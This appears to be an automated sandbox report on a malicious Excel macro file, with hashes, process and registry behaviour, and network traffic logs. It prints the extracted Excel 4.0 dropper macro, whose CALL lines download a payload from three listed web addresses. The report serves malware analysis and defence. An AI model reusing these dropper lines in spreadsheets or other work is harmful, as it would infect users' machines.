Analysis

  • max time kernel
    4294181s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20220311-en
  • submitted
    04/04/2022, 03:28 UTC

General

  • Target

    ?i=1nktihrki.xlsm

  • Size

    83KB

  • MD5

    cf82eec9632dc53d54c38f1d7b8a1b71

  • SHA1

    7b7e3339a8e857f1525341c074571ee7d7e9dd7f

  • SHA256

    9fbfeb3873dee627be46cf7c10015435d027d718dd42a7842badd45e590f782b

  • SHA512

    346297dc7ce5b9caf84b766e40339372012f3401f010a7473a52cdb9a56027bdef53869a7aa543b67aa890536d442ed718583b04a7328302a164b7dba6f6dd29

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source
1
=CALL("urlmon", "URLDownloadToFileA", "JCCB", 0, "http://yuanbinglun.com/www.yuanbinglun.com/7kKwqmxRWQK0OLi/", "..\dwa.ocx")
2
=CALL("urlmon", "URLDownloadToFileA", "JCCB", 0, "http://laserjetprintersreview.xyz/wp-includes/BJ6yUJ/", "..\dwa.ocx")
3
=CALL("urlmon", "URLDownloadToFileA", "JCCB", 0, "http://2021.posadamision.com/wp-admin/IoqaL08/", "..\dwa.ocx")
URLs
xlm40.dropper

http://yuanbinglun.com/www.yuanbinglun.com/7kKwqmxRWQK0OLi/

xlm40.dropper

http://laserjetprintersreview.xyz/wp-includes/BJ6yUJ/

xlm40.dropper

http://2021.posadamision.com/wp-admin/IoqaL08/

Signatures

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\_i=1nktihrki.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1504

Network

  • flag-us
    DNS
    yuanbinglun.com
    EXCEL.EXE
    Remote address:
    8.8.8.8:53
    Request
    yuanbinglun.com
    IN A
    Response
    yuanbinglun.com
    IN A
    101.200.218.166
  • flag-cn
    GET
    http://yuanbinglun.com/www.yuanbinglun.com/7kKwqmxRWQK0OLi/
    EXCEL.EXE
    Remote address:
    101.200.218.166:80
    Request
    GET /www.yuanbinglun.com/7kKwqmxRWQK0OLi/ HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
    Host: yuanbinglun.com
    Connection: Keep-Alive
    Response
    HTTP/1.1 301 Moved Permanently
    Server: nginx
    Date: Mon, 04 Apr 2022 04:16:18 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Expires: Wed, 11 Jan 1984 05:00:00 GMT
    Cache-Control: no-cache, must-revalidate, max-age=0
    X-Redirect-By: WordPress
    Location: http://www.yuanbinglun.com/www.yuanbinglun.com/7kKwqmxRWQK0OLi/
  • flag-us
    DNS
    www.yuanbinglun.com
    EXCEL.EXE
    Remote address:
    8.8.8.8:53
    Request
    www.yuanbinglun.com
    IN A
    Response
    www.yuanbinglun.com
    IN A
    101.200.218.166
  • flag-cn
    GET
    http://www.yuanbinglun.com/www.yuanbinglun.com/7kKwqmxRWQK0OLi/
    EXCEL.EXE
    Remote address:
    101.200.218.166:80
    Request
    GET /www.yuanbinglun.com/7kKwqmxRWQK0OLi/ HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
    Connection: Keep-Alive
    Host: www.yuanbinglun.com
    Response
    HTTP/1.1 404 Not Found
    Server: nginx
    Date: Mon, 04 Apr 2022 04:16:19 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Vary: Accept-Encoding
    Expires: Wed, 11 Jan 1984 05:00:00 GMT
    Cache-Control: no-cache, must-revalidate, max-age=0
    Link: <http://www.yuanbinglun.com/wp-json/>; rel="https://api.w.org/"
    Content-Encoding: gzip
  • flag-us
    DNS
    laserjetprintersreview.xyz
    EXCEL.EXE
    Remote address:
    8.8.8.8:53
    Request
    laserjetprintersreview.xyz
    IN A
    Response
  • flag-us
    DNS
    2021.posadamision.com
    EXCEL.EXE
    Remote address:
    8.8.8.8:53
    Request
    2021.posadamision.com
    IN A
    Response
    2021.posadamision.com
    IN A
    184.171.244.38
  • flag-us
    GET
    http://2021.posadamision.com/wp-admin/IoqaL08/
    EXCEL.EXE
    Remote address:
    184.171.244.38:80
    Request
    GET /wp-admin/IoqaL08/ HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
    Host: 2021.posadamision.com
    Connection: Keep-Alive
    Response
    HTTP/1.1 301 Moved Permanently
    Date: Mon, 04 Apr 2022 04:16:20 GMT
    Server: Apache
    Location: https://2021.posadamision.com/wp-admin/IoqaL08/
    Content-Length: 255
    Connection: close
    Content-Type: text/html; charset=iso-8859-1
  • flag-us
    GET
    https://2021.posadamision.com/wp-admin/IoqaL08/
    EXCEL.EXE
    Remote address:
    184.171.244.38:443
    Request
    GET /wp-admin/IoqaL08/ HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
    Connection: Keep-Alive
    Host: 2021.posadamision.com
    Response
    HTTP/1.1 404 Not Found
    Date: Mon, 04 Apr 2022 04:16:21 GMT
    Server: Apache
    Expires: Wed, 11 Jan 1984 05:00:00 GMT
    Cache-Control: no-cache, must-revalidate, max-age=0, no-store
    Link: <https://2021.posadamision.com/wp-json/>; rel="https://api.w.org/"
    Upgrade: h2,h2c
    Connection: Upgrade, close
    Transfer-Encoding: chunked
    Content-Type: text/html; charset=UTF-8
  • 101.200.218.166:80
    http://yuanbinglun.com/www.yuanbinglun.com/7kKwqmxRWQK0OLi/
    http
    EXCEL.EXE
    626 B
    549 B
    6
    4

    HTTP Request

    GET http://yuanbinglun.com/www.yuanbinglun.com/7kKwqmxRWQK0OLi/

    HTTP Response

    301
  • 101.200.218.166:80
    http://www.yuanbinglun.com/www.yuanbinglun.com/7kKwqmxRWQK0OLi/
    http
    EXCEL.EXE
    1.3kB
    11.2kB
    12
    11

    HTTP Request

    GET http://www.yuanbinglun.com/www.yuanbinglun.com/7kKwqmxRWQK0OLi/

    HTTP Response

    404
  • 184.171.244.38:80
    http://2021.posadamision.com/wp-admin/IoqaL08/
    http
    EXCEL.EXE
    567 B
    698 B
    5
    5

    HTTP Request

    GET http://2021.posadamision.com/wp-admin/IoqaL08/

    HTTP Response

    301
  • 184.171.244.38:443
    https://2021.posadamision.com/wp-admin/IoqaL08/
    tls, http
    EXCEL.EXE
    2.0kB
    17.0kB
    24
    24

    HTTP Request

    GET https://2021.posadamision.com/wp-admin/IoqaL08/

    HTTP Response

    404
  • 8.8.8.8:53
    yuanbinglun.com
    dns
    EXCEL.EXE
    61 B
    77 B
    1
    1

    DNS Request

    yuanbinglun.com

    DNS Response

    101.200.218.166

  • 8.8.8.8:53
    www.yuanbinglun.com
    dns
    EXCEL.EXE
    65 B
    81 B
    1
    1

    DNS Request

    www.yuanbinglun.com

    DNS Response

    101.200.218.166

  • 8.8.8.8:53
    laserjetprintersreview.xyz
    dns
    EXCEL.EXE
    72 B
    137 B
    1
    1

    DNS Request

    laserjetprintersreview.xyz

  • 8.8.8.8:53
    2021.posadamision.com
    dns
    EXCEL.EXE
    67 B
    83 B
    1
    1

    DNS Request

    2021.posadamision.com

    DNS Response

    184.171.244.38

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1504-54-0x000000002F2C1000-0x000000002F2C4000-memory.dmp

    Filesize

    12KB

  • memory/1504-55-0x00000000710F1000-0x00000000710F3000-memory.dmp

    Filesize

    8KB

  • memory/1504-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1504-57-0x00000000720DD000-0x00000000720E8000-memory.dmp

    Filesize

    44KB

  • memory/1504-58-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

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